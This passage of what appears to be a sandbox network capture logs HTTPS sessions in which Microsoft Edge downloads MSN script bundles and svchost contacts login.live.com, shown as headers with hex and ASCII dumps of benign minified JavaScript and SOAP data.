6e 74 43 68 65 63 6b 65 64 22 3d 3d 3d 65 26 26 74 68 69 73 2e 73 Data Ascii: 00006000[e],reportDialogNumberOfOptionsChecked:t.reportDialogNumberOfOptionsChecked+(t[e]?-1:1)})}window.setTimeout((()=>{"reportBlurryImageChecked"===e&&this.setFocus("reportDialogBlurryImageV2Checked"),"reportDialogOffensiveContentChecked"===e&&this.s
2024-04-23 21:02:23 UTC	8204	IN	Data Raw: 3d 3d 3d 28 65 3d 56 65 2e 41 6c 2e 43 75 72 72 65 6e 74 46 6c 69 67 68 74 53 65 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 68 61 73 28 22 70 72 67 2d 72 70 74 32 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6f 72 74 44 69 61 6c 6f 67 4f 70 74 69 6f 6e 73 26 26 74 68 69 73 2e 72 65 70 6f 72 74 44 69 61 6c 6f 67 4f 70 74 69 6f 6e 73 2e 72 65 70 6f 72 74 53 75 73 70 65 63 74 65 64 41 6c 43 68 65 63 6b 65 64 26 26 74 68 69 73 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 4f 66 66 65 6e 73 69 76 65 43 6f 6e 74 65 6e 74 52 65 70 6f 72 74 26 26 74 7d 67 65 74 20 69 73 44 61 72 6b 4d 6f 64 65 28 29 7b 72 65 74 75 72 6e 28 30 2c 44 65 2e 59 29 28 29 7d 6d 61 70 41 63 74 69 6f 6e 54 6f 4d 65 6e 75 49 74 65 6d 50 72 6f 70 73 28 65 Data Ascii: ===(e=Ve.Al.CurrentFlightSet)\|\|void 0===e?void 0:e.has("prg-rpt2");return this.reportDialogOptions&&this.reportDialogOptions.reportSuspectedAlChecked&&this.config.enableOffensiveContentReport&&t}get isDarkMode(){return(0,De.Y)()}mapActionToMenuItemProps(e
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 69 7a 65 64 53 74 72 69 6e 67 73 3a 7b 72 65 70 6f 72 74 44 69 61 6c 6f 67 42 6c 75 72 72 79 49 6d 61 67 65 56 32 54 65 78 74 3a 50 2c 72 65 70 6f 72 74 4c 6f 67 55 6e 46 6f 72 6d 61 74 54 65 78 74 3a 53 2c 72 65 70 6f 72 74 54 6f 6f 4d 61 6e 79 4c 69 6e 6b 54 65 78 74 3a 44 2c 72 65 70 6f 72 74 49 6e 73 75 66 66 69 63 69 65 6e 74 49 6e 66 6f 54 65 78 74 3a 42 2c 72 65 70 6f 72 74 4d 65 64 69 61 4e 6f 74 46 6f 75 6e 64 54 65 78 74 3a 24 2c 72 65 70 6f 72 74 44 75 70 6c 69 63 61 74 65 43 6f 6e 74 65 6e 74 54 65 78 74 3a 4d 2c 72 65 70 6f 72 74 42 6c 75 72 72 79 49 6d 61 67 65 4f 74 68 65 72 54 65 78 74 3a 4c 7d 2c 72 65 70 6f 72 74 53 75 73 70 65 63 74 65 64 41 49 4f 72 42 6f 74 43 72 65 61 74 65 64 53 74 72 69 6e 67 73 3a 7b Data Ascii: 00004000izedStrings:{reportDialogBlurryImageV2Text:P,reportLogUnFormatText:S,reportTooManyLinkText:D,reportInsufficientInfoText:B,reportMediaNotFoundText:$,reportDuplicateContentText:M,reportBlurryImageOtherText:L},reportSuspectedAIOrBotCreatedStrings:{
2024-04-23 21:02:23 UTC	12	IN	Data Raw: 67 65 51 75 61 6c 69 74 79 29 0d 0a Data Ascii: geQuality)
2024-04-23 21:02:23 UTC	4378	IN	Data Raw: 30 30 30 30 31 31 30 45 0d 0a 2c 4d 74 29 7d 20 24 7b 28 30 2c 41 74 2e 67 29 28 28 65 3d 3e 65 2e 69 73 53 75 73 70 65 63 74 65 64 41 49 4f 72 42 6f 74 43 72 65 61 74 65 64 29 2c 52 74 29 7d 0a 60 3b 6b 74 2e 71 3b 63 6f 6e 73 74 20 46 74 3d 49 65 2e 64 79 60 3c 6d 73 6e 2d 61 63 74 69 6f 6e 2d 64 69 61 6c 6f 67 20 24 7b 28 30 2c 77 74 2e 69 29 28 22 64 69 61 6c 6f 67 52 65 66 22 29 7d 20 63 6c 61 73 73 3d 24 7b 65 3d 3e 28 30 2c 43 74 2e 41 29 28 22 61 63 74 69 6f 6e 2d 64 69 61 6c 6f 67 22 2c 5b 22 64 65 74 61 69 6c 2d 70 61 67 65 22 2c 21 21 65 2e 63 61 72 64 41 63 74 69 6f 6e 50 72 6f 70 73 2e 75 73 65 44 65 74 61 69 6c 50 61 67 65 53 74 79 6c 65 73 5d 29 7d 20 68 65 61 64 6c 69 6e 65 3d 22 24 7b 65 3d 3e 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 6e Data Ascii: 0000110E,Mt)} ${(0,At.g)((e=>e.isSuspectedAIOrBotCreated),Rt)}`;kt.q;const Ft=Ie.dy`<msn-action-dialog ${(0,wt.i)("dialogRef")} class=${e=>(0,Ct.A)("action-dialog",["detail-page",!!e.cardActionProps.useDetailPageStyles])} headline="${e=>{var t;return n
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2f 3e 3c 2f 66 6c 75 65 6e 74 2d 62 75 74 74 6f 6e 3e 3c 2f 6d 73 6e 2d 61 63 74 69 6f 6e 2d 64 69 61 6c 6f 67 3e 60 2c 7a 74 3d 49 65 2e 64 79 60 3c 6d 73 66 74 2d 73 68 61 72 65 2d 64 69 61 6c 6f 67 20 24 7b 28 30 2c 77 74 2e 69 29 28 22 64 69 61 6c 6f 67 52 65 66 22 29 7d 20 63 6c 61 73 73 3d 22 73 68 61 72 65 2d 64 69 61 6c 6f 67 22 20 40 73 68 61 72 65 2d 64 69 61 6c 6f 67 2d 64 69 73 6d 69 73 73 3d 22 24 7b 28 65 2c 74 29 3d 3e 65 2e 72 65 73 65 74 43 61 72 64 41 63 74 69 6f 6e 28 21 30 29 7d 22 20 3a 73 68 61 72 65 54 6f 4c 69 73 74 3d 24 7b 65 3d 3e 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 73 68 61 72 65 50 72 6f 70 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a Data Ascii: 00004000/></fluent-button></msn-action-dialog>`,zt=Ie.dy`<msft-share-dialog ${(0,wt.i)("dialogRef")} class="share-dialog" @share-dialog-dismiss="${(e,t)=>e.resetCardAction(!0)}" :shareToList=${e=>{var t;return null===(t=e.shareProps)\|\|void 0===t?void 0:
2024-04-23 21:02:23 UTC	12	IN	Data Raw: 78 70 69 72 65 54 6f 61 73 74 0d 0a Data Ascii: xpireToast
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 43 61 6c 6c 62 61 63 6b 28 65 29 7b 74 68 69 73 2e 65 78 70 69 72 65 54 6f 61 73 74 43 61 6c 6c 62 61 63 6b 3d 65 7d 73 74 61 74 69 63 20 73 65 74 43 75 72 72 65 6e 74 54 6f 61 73 74 28 65 2c 74 29 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 54 6f 61 73 74 49 64 21 3d 3d 65 26 26 28 74 68 69 73 2e 63 75 72 72 65 6e 74 54 6f 61 73 74 49 64 3d 65 2c 74 68 69 73 2e 72 65 6e 64 65 72 54 6f 61 73 74 43 61 6c 6c 62 61 63 6b 3d 74 2c 74 68 69 73 2e 63 75 72 72 65 6e 74 54 6f 61 73 74 49 64 43 68 61 6e 67 65 43 61 6c 6c 62 61 63 6b 73 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 74 28 65 29 29 29 2c 74 68 69 73 2e 72 65 6e 64 65 72 54 6f 61 73 74 28 29 29 7d 73 74 61 74 69 63 20 61 64 64 43 75 72 72 65 6e 74 54 6f 61 73 74 49 64 43 68 61 6e 67 Data Ascii: 00006000Callback(e){this.expireToastCallback=e}static setCurrentToast(e,t){this.currentToastId!==e&&(this.currentToastId=e,this.renderToastCallback=t,this.currentToastIdChangeCallbacks.forEach((t=>t(e))),this.renderToast())}static addCurrentToastIdChang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49853	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	667	OUT	GET /bundles/v1/edgeChromium/latest/node_modules_sortablejs_modular_sortable_esm_js.6985524dca6d732452d7.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: qA7jRqtpQG4FyfC7151HiQ== Last-Modified: Mon, 15 Apr 2024 23:12:36 GMT ETag: 0x8DC5DA18A0E09C7 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 53332f04-e01e-00b9-45ac-8f6fe9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Content-Length: 44857 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746836,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016dd4 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016dd4 Vary: Origin
2024-04-23 21:02:23 UTC	15230	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 6f 72 74 61 62 6c 65 6a 73 5f 6d 6f 64 75 6c 61 72 5f 73 6f 72 74 61 62 6c 65 5f 65 73 6d 5f 6a 73 2e 36 39 38 35 35 32 34 64 63 61 36 64 37 33 32 34 35 32 64 37 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 Data Ascii: /! For license information please see node_modules_sortablejs_modular_sortable_esm_js.6985524dca6d732452d7.js.LICENSE.txt /"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["node_modules_s
2024-04-23 21:02:23 UTC	9346	IN	Data Raw: 73 65 74 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 2e 73 65 74 44 61 74 61 28 22 54 65 78 74 22 2c 65 2e 74 65 78 74 43 6f 6e 74 65 6e 74 29 7d 2c 64 72 6f 70 42 75 62 62 6c 65 3a 21 31 2c 64 72 61 67 6f 76 65 72 42 75 62 62 6c 65 3a 21 31 2c 64 61 74 61 49 64 41 74 74 72 3a 22 64 61 74 61 2d 69 64 22 2c 64 65 6c 61 79 3a 30 2c 64 65 6c 61 79 4f 6e 54 6f 75 63 68 4f 6e 6c 79 3a 21 31 2c 74 6f 75 63 68 53 74 61 72 74 54 68 72 65 73 68 6f 6c 64 3a 28 4e 75 6d 62 65 72 2e 70 61 72 73 65 49 6e 74 3f 4e 75 6d 62 65 72 3a 77 69 6e 64 6f 77 29 2e 70 61 72 73 65 49 6e 74 28 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 2c 31 30 29 7c 7c 31 2c 66 6f 72 63 65 46 61 6c 6c 62 61 63 6b 3a 21 31 2c 66 61 6c 6c 62 61 63 6b 43 6c Data Ascii: setData:function(t,e){t.setData("Text",e.textContent)},dropBubble:!1,dragoverBubble:!1,dataIdAttr:"data-id",delay:0,delayOnTouchOnly:!1,touchStartThreshold:(Number.parseInt?Number:window).parseInt(window.devicePixelRatio,10)\|\|1,forceFallback:!1,fallbackCl
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 68 69 6c 64 28 4a 29 29 2c 48 28 21 30 29 3b 76 61 72 20 76 3d 6b 28 61 2c 73 2e 64 72 61 67 67 61 62 6c 65 29 3b 69 66 28 21 76 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 6f 3d 4e 28 6b 28 6e 2e 65 6c 2c 6e 2e 6f 70 74 69 6f 6e 73 2e 64 72 61 67 67 61 62 6c 65 29 29 2c 69 3d 31 30 3b 72 65 74 75 72 6e 20 65 3f 74 2e 63 6c 69 65 6e 74 58 3e 6f 2e 72 69 67 68 74 2b 69 7c 7c 74 2e 63 6c 69 65 6e 74 58 3c 3d 6f 2e 72 69 67 68 74 26 26 74 2e 63 6c 69 65 6e 74 59 3e 6f 2e 62 6f 74 74 6f 6d 26 26 74 2e 63 6c 69 65 6e 74 58 3e 3d 6f 2e 6c 65 66 74 3a 74 2e 63 6c 69 65 6e 74 58 3e 6f 2e 72 69 67 68 74 26 26 74 2e 63 6c 69 65 6e 74 59 3e 6f 2e 74 6f 70 7c 7c 74 2e 63 6c 69 65 6e 74 58 3c 3d 6f 2e 72 69 67 68 74 26 26 74 2e 63 6c 69 65 6e 74 Data Ascii: hild(J)),H(!0);var v=k(a,s.draggable);if(!v\|\|function(t,e,n){var o=N(k(n.el,n.options.draggable)),i=10;return e?t.clientX>o.right+i\|\|t.clientX<=o.right&&t.clientY>o.bottom&&t.clientX>=o.left:t.clientX>o.right&&t.clientY>o.top\|\|t.clientX<=o.right&&t.client
2024-04-23 21:02:23 UTC	3897	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 75 5b 76 5d 3f 6f 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 74 2c 75 5b 76 5d 29 3a 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2c 76 2b 2b 7d 29 29 2c 61 3d 3d 3d 52 28 70 65 29 29 29 7b 76 61 72 20 6d 3d 21 31 3b 6d 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 73 6f 72 74 61 62 6c 65 49 6e 64 65 78 3d 3d 3d 52 28 74 29 7c 7c 28 6d 3d 21 30 29 7d 29 29 2c 6d 26 26 72 28 22 75 70 64 61 74 65 22 29 7d 6d 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 4b 28 74 29 7d 29 29 2c 73 2e 61 6e 69 6d 61 74 65 41 6c 6c 28 29 7d 66 65 3d 73 7d 28 6e 3d 3d 3d 6f 7c 7c 6c 26 26 22 63 6c 6f 6e 65 22 21 3d 3d 6c 2e 6c 61 73 74 50 75 74 4d 6f 64 65 29 26 26 62 65 2e 66 6f 72 45 Data Ascii: (function(t){u[v]?o.insertBefore(t,u[v]):o.appendChild(t),v++})),a===R(pe))){var m=!1;me.forEach((function(t){t.sortableIndex===R(t)\|\|(m=!0)})),m&&r("update")}me.forEach((function(t){K(t)})),s.animateAll()}fe=s}(n===o\|\|l&&"clone"!==l.lastPutMode)&&be.forE

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49849	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-23 21:02:23 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:27 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_SN1 x-ms-request-id: 446cbca3-f65f-4627-a39f-e95ba08dfccf PPServer: PPV: 30 H: SN1PEPF0002F991 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:26 GMT Connection: close Content-Length: 11392
2024-04-23 21:02:27 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49854	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	641	OUT	GET /bundles/v1/edgeChromium/latest/diagnostic-web-vitals.c6eb8c640456acb68b9c.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: eBz8kTje4MfVWrq/0RJOOQ== Last-Modified: Mon, 22 Apr 2024 19:59:16 GMT ETag: 0x8DC6306B0758C17 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 909df522-101e-00be-3316-95bee7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Content-Length: 7944 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746895,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016e0f Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016e0f Vary: Origin
2024-04-23 21:02:23 UTC	7944	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 64 69 61 67 6e 6f 73 74 69 63 2d 77 65 62 2d 76 69 74 61 6c 73 22 5d 2c 7b 34 30 32 31 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 2e 72 28 6e 29 2c 74 2e 64 28 6e 2c 7b 43 6c 73 31 30 30 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 58 7d 2c 46 43 50 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 59 7d 2c 46 49 44 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5a 7d 2c 49 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["diagnostic-web-vitals"],{40219:function(e,n,t){t.r(n),t.d(n,{Cls100:function(){return X},FCP:function(){return Y},FID:function(){return Z},I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49856	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	631	OUT	GET /bundles/v1/edgeChromium/latest/ocvFeedback.2a930d83a1ebb2ea4b2d.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: jYX9DPSdb+ljBaf1veDDjA== Last-Modified: Tue, 23 Apr 2024 19:32:45 GMT ETag: 0x8DC63CC27034962 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 3ae5f378-401e-008f-48b5-95b4f4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Content-Length: 6061 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746945,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016e41 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016e41 Vary: Origin
2024-04-23 21:02:23 UTC	6061	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6f 63 76 46 65 65 64 62 61 63 6b 22 5d 2c 7b 39 30 30 33 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 72 28 74 29 2c 6e 2e 64 28 74 2c 7b 4f 6e 65 54 72 75 73 74 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 44 61 74 61 43 6f 6e 6e 65 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 2c 4f 6e 65 54 72 75 73 74 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 44 61 74 61 52 65 64 75 63 65 72 3a Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["ocvFeedback"],{90034:function(e,t,n){n.r(t),n.d(t,{OneTrustCookieConsentDataConnector:function(){return u},OneTrustCookieConsentDataReducer:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49855	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
